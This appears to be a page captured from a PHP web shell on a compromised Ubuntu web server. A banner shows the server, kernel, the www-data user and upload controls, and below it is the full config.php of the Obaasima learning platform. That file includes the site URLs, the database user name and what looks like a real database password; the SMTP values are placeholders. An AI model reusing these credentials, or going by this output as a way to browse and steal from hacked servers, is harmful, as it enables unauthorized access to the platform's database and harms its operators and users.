HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ubuntu-8gb-hel1-1 6.8.0-55-generic #57-Ubuntu SMP PREEMPT_DYNAMIC Wed Feb 12 23:42:21 UTC 2025 x86_64
User: www-data (33)
PHP: 8.1.32
Disabled: NONE
Upload Files
File: /var/www/html/obaasimaghana/config/config.php
<?php

// Site URL and Email Configuration
define('SITE_URL', 'https://obaasimaghana.agighana.org');
define('SITE_EMAIL', 'noreply@obaasima.com');
define('APP_URL', 'https://obaasimaghana.agighana.org/public');

// Database Configuration
define('DB_HOST', 'localhost');
define('DB_USER', 'newagi');
define('DB_PASS', '!w5dcF,BrfDN');
define('DB_NAME', 'obaasimaghana');

// Application Configuration

define('APP_NAME', 'Obaasima');
define('APP_VERSION', '1.0.0');

// Security Configuration
define('MAX_LOGIN_ATTEMPTS', 5);
define('LOGIN_TIMEOUT_MINUTES', 30);
define('SESSION_LIFETIME_DAYS', 30);

// File Upload Configuration
define('MAX_FILE_SIZE', 5242880); // 5MB
define('ALLOWED_FILE_TYPES', ['jpg', 'jpeg', 'png', 'pdf', 'doc', 'docx']);
define('UPLOAD_PATH', 'public/uploads/');

// Email Configuration
define('SMTP_HOST', 'smtp.gmail.com');
define('SMTP_PORT', 587);
define('SMTP_USER', 'your-email@gmail.com');
define('SMTP_PASS', 'your-app-password');
define('SMTP_FROM_EMAIL', 'noreply@obaasima.com');
define('SMTP_FROM_NAME', 'Obaasima Learning Platform');

// Cohort settings
define('COHORT_DURATION_WEEKS', 18);